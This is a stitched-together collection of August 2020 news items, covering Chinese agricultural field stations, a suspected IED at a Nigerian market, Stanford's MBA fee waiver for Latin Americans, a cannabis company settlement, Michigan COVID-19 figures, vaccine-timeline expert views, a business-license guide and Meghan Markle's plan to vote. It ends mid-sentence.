insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200810005427/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Source: Xinhua| 2020-08-11 18:41:27|Editor: huaxia Video Player Close SHIJIAZHUANG, Aug. 11 (Xinhua) -- Instead of returning home or traveling around during his summer vacation, postgraduate student Ye Songlin toils in the field every day in north China's Hebei Province, 400 km from his university in Beijing. He carries a ruler among other tools to the experimental field to measure and record the growth of corn in the morning and analyzes the data in the lab in the afternoon. This helps him monitor the effects of varying amounts of water and fertilizer on different corn breeds. "Sometimes, I'm too busy to have a sip of water," said Ye, 23. Ye is among 21 postgraduates from the China Agricultural University (CAU) currently working at the eight rural stations set up in Quzhou County. The rural stations, also known as "tiny yards of science and technology," allow students like Ye to perform field research on farmers' plots, while farmers gain direct access to advanced agricultural techniques. From spring to the fall, students stay at the stations, monitoring the crops, training farmers and performing field research. In winter, they return to the campus for courses and to meet instructors and one another. It is the second summer vacation Ye has spent in Wangzhuang Village of Quzhou. Born into a farmers' family in central China's Henan Province, Ye is not new to rural life. The student from the school of resource and environment has learned to operate farm machinery and even knows how to troubleshoot in case the equipment needs a quick fix. "Local farmers often come along to consult on technical questions about farming. I'm happy to offer some help," Ye said, adding that he will refer to documents or ask his instructors to answer some of their questions, which he believes is helpful for his study. Zhang Hongyan, an associate professor at the CAU, said the students, in combination with their own research projects, will study smart machines, special cultivation and high crop yields in the summer vacation. They will also help spread related skills to local farmers. According to Zhang, the first rural station in Quzhou was set up in 2009. The site was chosen as CAU instructors and students, at the central government's urging, headed there to help with the reclamation of saline and alkaline land in 1973, which ended the history of low yields in local barren farmland for 2,000 years. In Qianya Village of the county, fertigation as well as interplanting grapes with other crops such as peanuts and sweet potatoes, have been promoted. Fertigation is the application of fertilizer with irrigation water. The skills have been applied to crops planted over more than 130 hectares. "Farming in a more scientific way does pay off," said Guo Liancheng, a local villager. "Under the guidance of the students, I have a harvest year again in my grape field." Long Shuyun, Party chief of the village, said with improved farming techniques, grapes of better quality and higher yields, together with the interplanted crops, bring local farmers an additional income of 15,000 yuan (about 2,150 U.S. dollars) to 45,000 yuan per hectare. With the higher income reaped in, farmers have gradually developed trust in the young students. A WeChat group has been set up so that farmers can ask them questions any time, said Long. "Only better crop yields can prove the effectiveness of my study and technical guidance," said Li Huili, a student stationed in the village. Enditem Panic broke out at the popular Ophoke-Abba market, Kpiri-Kpiri in Abakaliki, Ebonyi State, Monday evening, following the discovery of an object suspected to be an improvised explosive device (IED) in the market. News of the discovery sent traders, buyers and passers-by in the market running for dear lives. The incident which occurred around 4.p.m on Monday forced the market to close earlier than the usual 6.p.m closing time. A trader at the market, Paul Onwe, told Premium Times that the incident could be likened to a war situation. People suddenly started running and shouting bomb! bomb!!, that a bomb had been planted by unknown people in the market. Within seconds, the news had gone round the entire market and people were running helter-skelter, while children were crying. I managed to pack my wares, lock my shop and run out of the market, Mr Onwe said. Another eyewitness, Edith Agu, said the incident caused a commotion at the market. Mrs Agu said many abandoned their wares and fled the market. The entire market was thrown into pandemonium as people ran spontaneously out of the market. Police spokesperson in the state, Loveth Odah, confirmed the incident She said that the police deployed the anti-bomb squad to the market. The divisional police officer in charge of the area received information that a substance was discovered at a shop in the market and he went to the area with officials of the Explosive Ordnance Disposal (EOD) of the Nigeria Police. The substance suspected to be an explosive has been evacuated and taken to the office for expert analysis. For now, we dont know what the substance is until after careful investigation. John Nwanbeke, Chairman of the Ophoke-Abba Market Traders Association (OMTA), could not be reached for comments on the incident. In a world where MBA students pay more than $200,000 to attend an elite business school for two years, a $275 application fee may not seem like a lot. But Stanford Graduate School of Business Class of 2020 MBA Yohanna Maldonado knows the cost to apply to B-school has long been a major barrier for a huge number of people from one region of the world: Latin America. Maldonado, a Venezuela native, is among those applauding Stanfords move, announced today (August 11), to suspend its application fee for Latin American MBA applicants making less than $40,000 per year. The Si Se Puede Latin America Fee Waiver, effective immediately, means residents from Puerto Rico to Peru can apply for free to Stanfords No. 1- ranked program a big deal for a part of the world where per capita income is under $10,000. Stanfords round one deadline is September 15. After posting about the fee waiver on her LinkedIn page, Maldonado says she was swiftly contacted by Latin Americans curious about applying. Three people reached out, she tells Poets&Quants, and they were like, Oh, I was thinking about it, and I saw your post, and it seems like they want Latin Americans so theyre going to take some time to look at my curriculum vitae because if not, they wouldnt be doing this. And I think that thats a really, really good message to send as a university: We are looking for Latin people. We even have a fee waiver. I think that that messaging is very important. The $275, I know it sounds like not much here, but in Latin America, that is a significant amount of money. EXCITED TO WELCOME MANY MORE ADMITS FROM LATIN AMERICA Yohanna Maldonado. LinkedIn The Stanford MBA Class of 2021 that enrolled in the fall of 2019 was comprised of 9% Latin Americans. The previous class, which included Yohanna Maldonado, was a similar number, with about three dozen students a very tiny community, for sure, she says. We were like 36 or something I dont remember the exact number. We were so close, honestly, but I for sure would want to see more, because I think that in general I did miss a lot of an international perspective in our classes and more points of view in the class from people from all over the world. Story continues Applicants do not need to apply separately for the Si Se Puede Latin America Fee Waiver, and the salary currency conversion to U.S. dollars will be calculated based on exchange rates on June 1, 2020. But the waiver is not the only way through which Stanford aims to increase the numbers of students enrolled in its MBA program from Venezuela and across Latin America. The school also promises to increase fellowship opportunities. Once applicants are admitted to the MBA program, Stanford GSB will match eligible students to need-based financial aid opportunities, says Elisa Koppl, associate director of the schools MBA Admissions Office. According to school information, the average Stanford GSB fellowship is about $40,000 per year or $80,000 in total awards. In a recent LowKeynote speech, which gives Stanford GSB students the opportunity to develop presentations on ideas and actions that can enhance peoples lives and communities around the globe, Maldonado spoke about hope and the possibility that Stanford MBAs can return to Venezuela and help their families and communities there. There is a strong social fabric being built in Venezuela that is worth standing for, she said. When I was considering applying to different MBA programs, Stanford GSB always felt like a dream and that it might not even be worth the application. This fee waiver is yet another example of how the school is thinking about increasing diversity on campus and attracting more people from Latin America. I am excited to welcome many more admits in the following years. IM GOING TO GIVE IT A SHOT Hispanics do not make up large populations at any of the top-ranked schools. At the six schools in the top 10 that have divulged MBA student population in the Class of 2021 by race (Stanford, Harvard Business School, Columbia Business School, and Northwestern Kellogg School of Management have not), the average Hispanic population was just over 5%. Yale School of Management boasted the highest number of Hispanic MBA enrollees, with 7.5%, and Wharton had the lowest, at 1%. Application diversity is more difficult to determine without disclosure from the schools, which they tend to be reluctant to do. What is clear, however, is that Stanfords fee waiver will go a long way toward encouraging interest from talent pools that otherwise might lower their sights. Thats the goal of Becky Kleiner and Micky Malka, managing partners at Ribbit Capital, who are both from Venezuela and have lived abroad for many years. Their gift made the fee waiver possible. When the right tools are given to the right people, good and massive changes in society will follow, Malka said in a Stanford news release. During our time living abroad, we have had the opportunity to interact with many Stanford GSB graduates from Latin America. We have seen that many have returned to their home countries and generated great impact on their societies and businesses post-graduation. We believe that the region is home to many more people who are capable of creating that kind of impact, given the chance. This is the reason we are working with Stanford GSB. The Si Se Puede Latin America Program aims to remove barriers to apply to the MBA program and encourages applicants from Venezuela and throughout Latin America to take that next step. By helping students to apply to and attend Stanford GSB, we hope to attract those who want to make a difference in their communities and the world. It may only be $275, but for many, that $275 may be the difference in achieving a better life, Maldonado says. The first time I read about it, I had the same kind of reaction: If youre going to spend a hundred thousand dollars on an MBA, this is not really a big deal,' says Maldonado, who now works as a consultant for a journalism nonprofit in San Francisco. And then I posted on my LinkedIn a real quickie line: Hey, this is me, a new Stanford grad. If you have any questions, reach out. And the amount of people that reached out was insane! It was insane. People that I had never talked to, complete strangers. It got shared many times. More than 25,000 views! And then talking to people, I understood a different point, that Stanford is such a dream. Its so hard to get in. The 6% thing, you read about it. And youre a Latin American and working at a shoe company that no one knows about. And its like, Im never going to do it. Theyre not going to accept me. And then when they make it free to apply, it changes things. Its like, Okay, Im already working on my GMAT, Im applying to other schools Im going to give it a shot because it doesnt cost anything.' DONT MISS: IN A HUGE YEAR FOR CONSULTING MBAs, THESE SCHOOLS WERE THE TOP INDUSTRY FEEDERS or THESE PROGRAMS ARE THE TOP FEEDERS TO THE TECH INDUSTRY FOR NOW The post Stanford GSB To Latin America: Apply To Our MBA Program For Free appeared first on Poets&Quants. MIAMI, Aug. 11, 2020 /PRNewswire/ - Cansortium Inc. (CSE: TIUM.U) (OTCQB: CNTMF) ("Cansortium" or the "Company"), a vertically integrated cannabis company with operations in Florida, Texas, Michigan and Pennsylvania, announced today that it has reached a settlement with Woodmere Health Partners LLC ("Woodmere"). Woodmere was the Company's former market partner in Pennsylvania in connection with its application for a clinical registrant license with the Pennsylvania Department of Health. The Company was not one of the successful applicants and the license was not obtained which led to a dispute regarding the satisfaction of the conditions of the escrow release of the 483,616 proportionate voting shares and 204 common shares to Woodmere. As part of the settlement of the dispute, Woodmere has agreed to return the 483,616 proportionate voting shares and 204 common shares to the Company, or the equivalent of 4,836,364 common shares, for cancellation and release the Company from any further obligations, while the Company has agreed to issue 125,000 proportionate voting shares and 750,000 common share purchase warrants with a term of three years and an exercise price of US$0.53 to Woodmere. About Cansortium Inc. Headquartered in Miami, Florida, and operating under the Fluent brand, Cansortium is focused on being the highest quality cannabis company in the State of Florida driven by unrelenting commitment to operational excellence from seed to sale. Cansortium has developed strong proficiencies in each of cultivation, processing, retail, and distribution activities, the result of successfully operating in the highly regulated cannabis industry. In addition to Florida, Cansortium is seeking to create significant shareholder value in the attractive markets of Texas, Michigan and Pennsylvania, where the Company has secured licenses and established operations. Cansortium Inc.'s common shares and warrants trade on the CSE under the symbol "TIUM.U" and "TIUM.WT.U", respectively, and on the OTCQB Venture Market under the symbol (OTCQB: CNTMF). Investors can find current financial disclosure and Real-Time Level 2 quotes for the Company on www.otcmarkets.com. Forward-Looking Information Certain information in this news release, may constitute forward-looking information. In some cases, but not necessarily in all cases, forward-looking information can be identified by the use of forward-looking terminology such as "plans", "targets", "expects" or "does not expect", "is expected", "an opportunity exists", "is positioned", "estimates", "intends", "assumes", "anticipates" or "does not anticipate" or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might", "will" or "will be taken", "occur" or "be achieved". In addition, any statements that refer to expectations, projections or other characterizations of future events or circumstances contain forward-looking information. Statements containing forward-looking information are not historical facts but instead represent management's expectations, estimates and projections regarding future events. Forward-looking information is necessarily based on a number of opinions, assumptions and estimates that, while considered reasonable by the Company as of the date of this news release, are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause the actual results, level of activity, performance or achievements to be materially different from those expressed or implied by such forward-looking information, including but not limited to the factors described in the public documents of the Company available at www.sedar.com. These factors are not intended to represent a complete list of the factors that could affect the Company; however, these factors should be considered carefully. There can be no assurance that such estimates and assumptions will prove to be correct. The forward-looking statements contained in this news release are made as of the date of this news release, and the Company expressly disclaims any obligation to update or alter statements containing any forward-looking information, or the factors or assumptions underlying them, whether as a result of new information, future events or otherwise, except as required by law. For further information: www.getfluent.com SOURCE Cansortium Inc Related Links https://www.getfluent.com/ Michigan reported 796 new case of coronavirus on Tuesday, Aug. 11, the highest number so far this month. The state also saw its positivity rate pop, with 4.4% testing positive on Monday, up from 3.5% on Sunday and the highest percentage since the end of May. That spike appears to be a result of a high number of positive tests within the Michigan correctional system. Seven deaths reported Tuesday included two that occurred outside the last 24 hours and were late additions discovered through regular vital records reviews. Since the start of the pandemic, Michigan has tallied 88,756 confirmed cases of COVID-19. Sorry, but your browser does not support frames. There are currently 6,264 deaths attributed to COVID-19, in which patients tested positive for the virus. There also are 269 probable deaths, based on symptoms. Health officials recommend looking at seven-day moving averages to evaluate data trends during the pandemic. The state now averaging 653 new cases, and six new deaths per day. Browser does not support frames. As of Aug. 3, the most recent data available, there are 460 hospital in-patients with coronavirus and 132 patients on ventilators. On Monday, 1,053 -- or 4.37% -- of 24,095 diagnostic tests conducted came back positive for the virus. About 18% of the positive tests, 185, came from tests taken within the prison system. State officials have reported a coronavirus outbreak at the Muskegon Correctional Facility. The correctional system has had 370 positive tests among 3,222 tests administered in the past seven days. Sorry, but your browser does not support frames. Thirty counties reported no new cases on Monday. Macomb County topped Mondays report with 127 new cases. Other counties in the top 10: Wayne (125), Oakland (104), Kent (52), Washtenaw (24), Saginaw (17), Monroe (14), Ottawa (12), Marquette (12) and Bay (10). Hundreds of kids may have been exposed to coronavirus at Barry County camp Of the deaths, Wayne and Oakland counties each reported two deaths, and there was one death each in Macomb, Gensesee, Berrien, St. Joseph, Roscommon and Ogemaw. Tuesday, Aug. 11, coronavirus data by Michigan county: 9 counties now at higher risk; 7 in the green zone Below are online databases that allow readers to look up county-level data for each of the last 20 days. Cases by day it was reported to the state First is a chart showing new cases reported to the state each day for the past 20 days. This is based on when a confirmed coronavirus test is reported to the state, which means the patient first became sick days before. You can call up a chart for any county, and you can put your cursor over a bar to see the date and number of cases. Browser does not support frames. Cant see the chart? Click here. (In a few instances, a county reported a negative number (decline) in daily new cases, following a retroactive reclassification by the Michigan Department of Health and Human Services. In those instances, we subtracted cases from the prior date and put 0 in the reported date.) Cases by day of onset of symptoms Below this chart shows new cases for the past 20 days based on onset of symptoms. In this chart, numbers for the most recent days are incomplete because of the lag time between people getting sick and getting a confirmed coronavirus test result, which can take up to a week or more. You can call up a chart for any county, and you can put your cursor over a bar to see the date and number of cases. (Cant see the chart? Click here) Browser does not support frames. For more statewide data, visit MLives coronavirus data page, here. To find a testing site near you, check out the states online test finder, here, send an email to COVID19@michigan.gov, or call 888-535-6136 between 8 a.m. and 5 p.m. on weekdays. COVID-19 PREVENTION TIPS: In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores. Michigan Gov. Gretchen Whitmer has also issued executive orders requiring people to wear face coverings over their mouth and nosewhile in public indoor and crowded outdoor spaces. See an explanation of what that means here. Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus. For more data on COVID-19 in Michigan, visit https://www.mlive.com/coronavirus/data/. Read more on MLive: Michigan shoppers improve mask compliance, based on MLive survey of 41 stores Story of a coronavirus long-hauler: Five months after getting infected, still struggling to recover How the first week of school went inside a Michigan elementary Jim Harbaughs last-ditch effort to save college football: This virus can be controlled What do Michigan teachers fear most about in-person learning? The students sitting in their classrooms (CNN) Contrary to his predictions, President Trump won't have a coronavirus vaccine ready by Election Day, vaccine experts tell CNN after reviewing data from Moderna, the first company to begin its Phase 3 clinical trials of a coronavirus vaccine in the United States. "There's no way. There's just no way," said Dr. Peter Hotez, a vaccinologist at Baylor College of Medicine and a CNN medical analyst. Last week, President Trump said he was "optimistic" a vaccine would be ready around Election Day on November 3. "I believe we'll have the vaccine before the end of the year, certainly, but around that date, yes. I think so," Trump said Thursday. CNN obtained part of an email Moderna sent on Friday to the principal investigators of its vaccine trials. It says 4,536 study subjects have enrolled in the trials. The trial started the morning of July 27 and intends to enroll 30,000 study subjects. The company has said it's "on track to complete enrollment in September." Moderna won't make that 30,000 in September if they continue at the rate of the first two weeks, but it's likely the speed of enrollment will ramp up, since as of Friday only 54 of the study's 89 sites were operating, according to the company's email to its researchers. Moderna's numbers did increase significantly from the first week of the trial to the second week. Even if Moderna does reach its goal of full enrollment during the month of September, the company still won't have a vaccine on the market by Election Day, infectious disease experts say. "I don't see how that would be possible," said Dr. Paul Offit, a vaccinologist at Children's Hospital of Philadelphia. After Moderna enrolls its subjects and gives them their first shot, they then have to wait 28 days before giving them a second shot. That means participants enrolled at the end of September won't be getting their second injections until the end of October. Offit said they then have to wait two weeks for the vaccine to become fully effective. "That takes you past Election Day," Offit said. After that, the researchers have to wait and see who gets sick with Covid-19 and who does not. Half the study participants are receiving the real vaccine, and half get a placebo, or a shot that does nothing. Neither the participants nor the doctors giving the vaccines know who got which injections. Both Offit and Hotez predict there will be results from the Moderna study in the first quarter of 2021 at the earliest. "Maybe by Inauguration Day we might have a glimmer of whether the vaccine is working and be able to assess its safety," Hotez said. The National Institutes of Health is collaborating with Moderna on the coronavirus vaccine. "I can't comment about whether getting their enrollment done by the end of September is realistic or not, but I do think the daily enrollments should go up in the next couple of weeks compared to where they were for the first two weeks," said Dr. Francis Collins, director of the NIH. Dr. Carl Fichtenbaum, who is running Moderna's trial at the University of Cincinnati, said he expects to start enrolling patients at his site in the middle of August. He said his goal is to enroll 500 patients, and already 2,500 patients have reached out to him inquiring about the trial. "We're getting good numbers," he said of the trial. "I think this accrual is going to hit its target pretty quickly." Pfizer started its Phase 2/3 study in the United States the evening of July 27. Company Chairman and CEO Albert Bourla told The Washington Post last week that "we expect that we will get in early September the 30,000" participants but did not specify if he meant by that time all 30,000 will have received one dose or two. Bourla said they had vaccinated more than 2,000 by the first week of August. Bourla added that he thought "by the end of September beginning of October" Pfizer would know if the vaccine worked or not, and would approach the US Food and Drug Administration for regulatory review in October. He told the Post he is hoping for a fast approval and will have vaccines manufactured and ready to distribute. Hotez and Offit both said Bourla's timetable looked highly unlikely, given that, like Moderna, Pfizer has to give two doses, wait for the vaccine to become fully effective, and then follow study subjects to see if they get sick with Covid-19. This story was first published on CNN.com, "Moderna's clinical trial numbers show there's 'no way' Trump can have a vaccine by Election Day." The majority of small businesses will need at least some form of business license, granting them legal permission to operate in compliance with federal, state and local guidelines. The average business license costs roughly a few hundred dollars plus renewal fees. It's best to seek legal counsel to ensure you are in compliance with all business license requirements for your business. This article is for new business owners who need to know the process for getting a business license. When you start a new business, there is a good chance you will have to register your company to acquire a business license and other necessary permits for operation. The industry and location you operate within will determine which licenses and permits you need. Since acquiring a business license can take considerable time and resources, it is important to know which ones apply to your business (and how to get them) before inception. What is a business license? A business license is the legal registration of your company that permits you to operate within your industry and jurisdiction. Small businesses are legally required by federal and local governments to acquire the applicable business licenses before providing goods or services. Business licenses benefit counties by allowing them to collect revenue, impose zoning restrictions, and regulate which companies operate within them; however, a business license can be advantageous to your small business as well "Becoming licensed allows business owners to provide their customers, employees, and other stakeholders with the confidence that the business is well run and its goods and services are trustworthy," James Gilmer, compliance specialist at Harbor Compliance, told Business News Daily. "Licensing in certain sectors can also be used as a competitive advantage, where licensed businesses can demonstrate proof of licenses at the negotiation table or RFP process." Every county imposes different business license requirements and regulations, and failure to comply can have a litany of consequences, like fines, late fees, penalties and the denial to operate. Therefore, it is essential to identify what licenses and permits you need before opening your doors to the public. "Filing requirements change depending on the type of business, and businesses like restaurants and day care facilities require additional business licenses," said Kelly DuFord Williams, founder and managing partner of Slate Law Group. "It is paramount that anyone interested in starting a business understands what licenses they are required to carry before inception. Furthermore, it is advised to seek counsel to ensure proper adherence to local rules." Did you know? A business license is a government-issued license that grants your business permission to operate within your city, state and industry. Types of business licenses and permits If you are wondering if you need a business license, the answer is most likely yes. However, business licenses can vary wildly across different states, cities and industries, so pinpointing which specific licenses you need can be challenging. We spoke with industry professionals to identify some of the most common business licenses to get you started, but it is highly advisable to seek legal counsel to find out which ones apply to your business specifically. 1. Business operating licenses Business operating licenses are state- and city-issued licenses that grant you legal permission to operate your business within your city and state. You may need to apply for these separately at the state and city levels, as each jurisdiction has its own requirements and regulations. 2. DBA (doing business as) license or permit If you operate your business under a different name from the one you are legally registered as, you may be obligated get a DBA name also known as a trade name, fictitious name or assumed name. DBA requirements vary by location. 3. Planning and zoning permits Each municipality has regulations for which business types can operate (and where), so you need to verify that the city you are operating within is zoned for your specific type of business. If it isn't, you will need to apply for a zoning variance and prove that your business will not significantly disrupt the community. 4. Building and home occupation permits A building permit verifies that the building you operate out of is up to code, which is a necessary component of applying for business insurance. Similarly, a home occupation permit allows you to conduct your business out of your home. "If you run and operate your business from home, you must obtain a home occupation permit," said Deborah Sweeney, CEO of MyCorporation. "This ensures your neighborhood is zoned for home business activity. That is to say, the business conducted from your home does not add additional traffic or noise to the community." 5. Fire department permits A fire inspection and safety permit from your local fire department verifies that your business will be operating safely and does not violate any fire codes, which is especially important for companies that operate with flammable materials. Some jurisdictions require every business to receive a fire department permit before operating, whereas others simply require recurring inspections. Check with your local government to see what level of fire inspection regulations apply to your business. 6. Tax regulations An essential (and sometimes confusing) element of running a business is ensuring you meet all the required tax regulations, and a small business owner needs to acquire multiple licenses for tax purposes. For example, nearly every business needs to obtain an Employer Identification Number (EIN), which enables you to hire employees and collect payroll taxes. Businesses that sell goods (and sometimes even those that sell services) are often required to obtain a seller's permit, also known as a sales tax license or permit. 7. Health licenses and permits Depending on your industry and location, you may need to receive specific health permits to operate your business. For example, businesses in the food and beverage industry will need to be assessed to verify that they are up to health code standards. Unless you are one of the few exempt organizations, you will also have to comply with safety regulations like those from the Occupational Safety and Health Administration. 8. Environmental licenses Companies in certain locations and industries must acquire one of the many government-regulated environmental licenses. These typically protect environmental factors like air and water quality. For example, Williams said most counties in California require businesses that produce water waste (e.g., car washes, outdoor cleaning companies) to complete an urban runoff section of their business license, projecting their possible water runoff that could cause pollution in local waterways. These companies must fill out additional information in their business license application to determine if they are compliant. 9. Sign permits Although it may seem innocuous, putting up a business sign before you obtain the proper sign permits can lead to some hefty fines. Many local governments regulate business sign requirements, like how big it is and where it's located. To avoid wasting money on a sign that isn't up to code, check with your local government to see if you need to follow any guidelines or obtain a sign permit beforehand. 10.Industry-specific licenses In addition to the standard business licenses that most businesses need to obtain, you will likely need licenses and permits specific to your industry. Common industries that often require specific licenses and permits include architecture, beauty salons and spas, child care, cleaning and janitorial services, construction, electrical, engineering, food and alcohol, general contracting, healthcare, insurance, landscaping, pest control, pharmaceuticals, plumbing, temporary events, and tobacco. Some examples of permits these industries need are reseller's permits and Alcoholic Beverage Control (ABC) licenses. "Another thing that a business might need is something called a surety bond," said Angelique Rewers, CEO of The Corporate Agent. "Surety bonds are financial guarantee agreements that ensure a company's compliance with state regulations and/or contractual obligations. This is something that is often required for certain types of companies, such as those in the construction industry." Rewers also said that businesses in federally regulated industries often have to fill out licensing forms with agencies like the U.S. Fish and Wildlife Service, the Federal Maritime Commission or the U.S. Department of Transportation. Since the licensing you will need varies by state, city and industry, you should contact the relevant government authorities and legal counsel to understand your specific requirements. How much does a business license cost? The cost of your business license or permit depends on several factors, like license type, your location, processing fees and recurring fees. The average business license costs somewhere between $50 and a few hundred dollars plus renewal fees. However, Gilmer said some states have general business license requirements. For example, the cost for a state business license in Nevada can be $500 per year, plus fees to file annual lists of officers and directors. "For industry-specific and local licenses, fees can range from anywhere from a few dollars to a few thousand dollars, either one time or on an ongoing basis," said Gilmer. "For budgeting purposes, business owners should do their homework and contact the relevant agencies as part of the planning process, rather than suffer sticker shock when applying for a license reactively or on short notice." Key takeaway: A business license typically costs $50 to a few hundred dollars plus renewal fees, but it can cost much more depending on your state. Where to get a business license The process for filing business licenses varies by the license or permit, but you can generally find the information for obtaining a business license on county, state and federal websites. In several jurisdictions, you will be looking for your Department of Business and Professional Regulation (DBPR) at the local level, also known as the State License Bureau. Applying for a business license can be daunting, as very few states have central agencies that oversee licensing, so Gilmer suggests business owners start by contacting the city, county and state governments for where they plan to operate, or hire an attorney or company to assist with the process. "If you think there's a chance the type of business you're starting is also regulated at the federal level, be sure to check out the information about federal business licenses listed by agency on the Small Business Administration's (SBA) website," said Rewers. "Err on the side of caution versus making an assumption that you're in the clear." How long does it take to get a business license? The process can take anywhere from days to months. Along with the type of business you own, your jurisdiction determines how long it will take to get a license. Some states grant business licenses within a week, while others take three to four weeks. Your industry also determines how long you can expect to wait for your business license. According to the U.S. Small Business Administration, businesses in the construction, farming, dry cleaning, vending, and restaurant industries often face certain state regulations with extended business licensing requirements and approval time frames. The SBA warns business owners that licenses are not always permanent and may have an expiration date with required renewal. Federal agencies may have to approve a business license, too, if the industry is overseen by the national government. These industries include agriculture, tobacco, firearms, transportation, mining, fishing and aviation. Expedite business license approval times by submitting a completed application along with any requested fees. What comes first, forming an LLC or obtaining a business license? According to Harvard Business Services, you should form the LLC first before getting a business license. Although some companies only establish an LLC, they risk fines and penalties (and their business assets) if the business is violating any local regulations. It makes the most sense to get the LLC first, because a business license requires the legal name of your business. If you get the LLC after the business license, you will need to request a change of business name with the licensing agency. Changing a business name on a license may require that you pay a fee. Tip: You can get business licenses through county, state and federal websites. How to get a business license To get a business license, you have three options: File for a license on your own, contact a third-party filing service to help you prepare your business license applications, or consult an experienced attorney who can help you file your business license. If you seek to acquire a business license on your own, you can follow these general steps. Keep in mind that the process for getting a business license depends on which license you need and what state you are operating in, and it is always recommended that you seek legal counsel to help you apply for licenses and maintain compliance. 1. Determine what business licensing you need. Start by researching what licenses apply to your business at the federal, state and local levels. Contact the relevant agencies in the locations where you plan to operate. "This can be a time-intensive process, as many government agencies do not have helpful websites or phone service, but it's important to avoid the consequences of running an unlicensed business," said Gilmer. Keep in mind that you should obtain an EIN from the IRS before seeking other business licenses. 2. Compile the appropriate business documents for your application. When applying for a license, you need to pay close attention to each application to identify which documents to submit. Although the documents you need depend on the license type, the work you will be doing, and any specific regulations enforced by the applicable government agency, Gilmer said most licenses ask for the following: A description of the business, its planned activities and physical premises Copies of corporate records (e.g., articles of incorporation or corporate bylaws) Proof of state or local tax status (e.g., a sales tax permit) Lists of ownership and management A filing fee to the government, which can range from a few dollars for a local permit to several hundred or thousand for state-level licenses to operate For business licenses in specific industries, such as architecture or construction, Gilmer said business owners may also have to provide the following: Surety bonds Proof of insurance Educational or professional qualifications of owners and key staff Audited financial statements or proof of operating capital You may also be required to appoint a corporate registered agent for service of process. 3. Apply for the business license. Once you know what business license to apply for and what business documents you need, it is time to fill out and submit your application. Each application is different, so be sure to follow the instructions. "Preparing applications and accompanying documents is only one small piece of the process," said Gilmer. "Every government agency has a unique process for filing applications, which can be by mail, in person, email, fax or online. Sometimes, forms must be signed by multiple parties or notarized, and original forms (or duplicates or triplicates thereof) must be submitted." 4. Receive your business license. Many business licenses can be found and submitted online. After applying for a business license, you will either receive immediate approval or wait to hear back from the licensing agency about your approval status. Many agencies take weeks or months to approve applications and that's assuming you correctly completed the application. "Business owners should be prepared to contact government agencies after submitting license materials to ensure approval and to correct deficiencies," said Gilmer. "Given the overall time it takes to become licensed, business owners should make researching and obtaining licenses and permits part of the planning process, rather than wait until a project or development opportunity surfaces it could be too late." Also, just because you want a license doesn't mean it's available. Several industries only permit a limited number of licenses within a specific city or state, which means you may end up on a wait list for, say, companies wanting to serve alcohol or dispose of certain types of waste. "In other cases, you may find that certain licenses, such as in the pesticide world, require several years of hands-on experience before you can actually get the license yourself," said Rewers. "That means you may have to hire a full-time manager or operator of the business that already has the license you need." 5. Keep up with license renewal requirements. After you are approved and receive your business license, you will be granted legal permission to conduct the corresponding business. However, receiving a business license is not the last step in the licensure process. Many business licenses require renewal, so make note of any renewal requirements to avoid accidentally letting your license expire. "The stakes are high when it comes to getting all of your licenses and permits in place," said Rewers. "If you miss even one item, your business could be fined, or, worse, it could be shut down until you get everything sorted out. And while you're working through the paperwork, you're not only losing sales, but you are also carrying all of your expenses, including rent, salaries, utilities, insurance and more. Follow this pro tip for getting a business license. For the best chance of receiving a business license and maintaining legal compliance, again, you should seek counsel from an experienced legal professional, especially when dealing with complicated licensing requirements and applications. "In addition to online services that can help you sort through what you need to have in place, it's also a good idea to work with a local attorney who knows your local government departments, and the laws and regulations of doing business in your area," said Rewers. Why Prince Harry and Meghan Markle Stepped Down and How They Are Changing the Royal Family In 'Finding Freedom', friends of Meghan Markle and Prince Harry share new details about the couple's romance and exit from the royal family Meghan Markle is set to make history this November. The Duchess of Sussex revealed that she plans to vote in the U.S. presidential election when she joined 99 other influential women including Michelle Obama, Hillary Clinton and Oprah Winfrey in sharing their reasons for heading to the polls with Marie Claire. "I know what it's like to have a voice, and also what it's like to feel voiceless," Meghan said. "I also know that so many men and women have put their lives on the line for us to be heard. And that opportunity, that fundamental right, is in our ability to exercise our right to vote and to make all of our voices heard." "One of my favorite quotes, and one that my husband and I have referred to often, is from Kate Sheppard, a leader in the suffragist movement in New Zealand, who said, 'Do not think your single vote does not matter much. The rain that refreshes the parched ground is made up of single drops,' " Meghan continued. "That is why I vote." RELATED: The Biggest Bombshells About Meghan Markle and Prince Harry from New Book Gareth Fuller-Pool/Getty Meghan Markle and Prince Harry Members of the British royal family historically do not vote in elections and remain politically neutral, although there is no law forbidding it. "As Head of State The Queen has to remain strictly neutral with respect to political matters," the royal familys website states. "By convention, The Queen does not vote or stand for election, however Her Majesty does have important ceremonial and formal roles in relation to the government of the U.K." Samir Hussein/WireImage Meghan Markle The palace previously said that Meghan, who was born and raised in Los Angeles, had plans to become a U.K. citizen (which is known to be a lengthy process) after marrying Prince Harry in 2018. However, the couple returned to her hometown earlier this year and are living in California with their 1-year-old son, Archie. Story continues Samir Hussein/WireImage Archie, Meghan Markle and Prince Harry Can't get enough of PEOPLE's Royals coverage? Sign up for our free Royals newsletter to get the latest updates on Kate Middleton, Meghan Markle and more! Although Meghan didn't say who she was voting for, she famously spoke out against President Donald Trump leading up to the 2016 election. "Of course Trump is divisivethink about female voters alone," she said on The Nightly Show with Larry Wilmore. "I think it was in 2012, the Republican Party lost the female vote by 12 points. Thats a huge number and as misogynistic as Trump is and so vocal about it thats a huge chunk of it." "Bravo New Zealand for championing the right of women to vote 125 years ago." The Duchess of Sussex, as she and The Duke joined PM @JacindaArdern and @GovGeneralNZ Dame Patsy Reddy to celebrate the 125th anniversary of women's suffrage in New Zealand. #RoyalVisitNZ pic.twitter.com/zpFhyPiE8r The Duke and Duchess of Cambridge (@KensingtonRoyal) October 28, 2018 RELATED: Will Meghan Markle and Prince Harrys Royal Baby Be an American Citizen? Meghan also spoke about women's suffrage during her visit to New Zealand in 2018. "Because yes, womens suffrage is about feminism, but feminism is about fairness, Meghan said. Suffrage is not simply about the right to vote but also 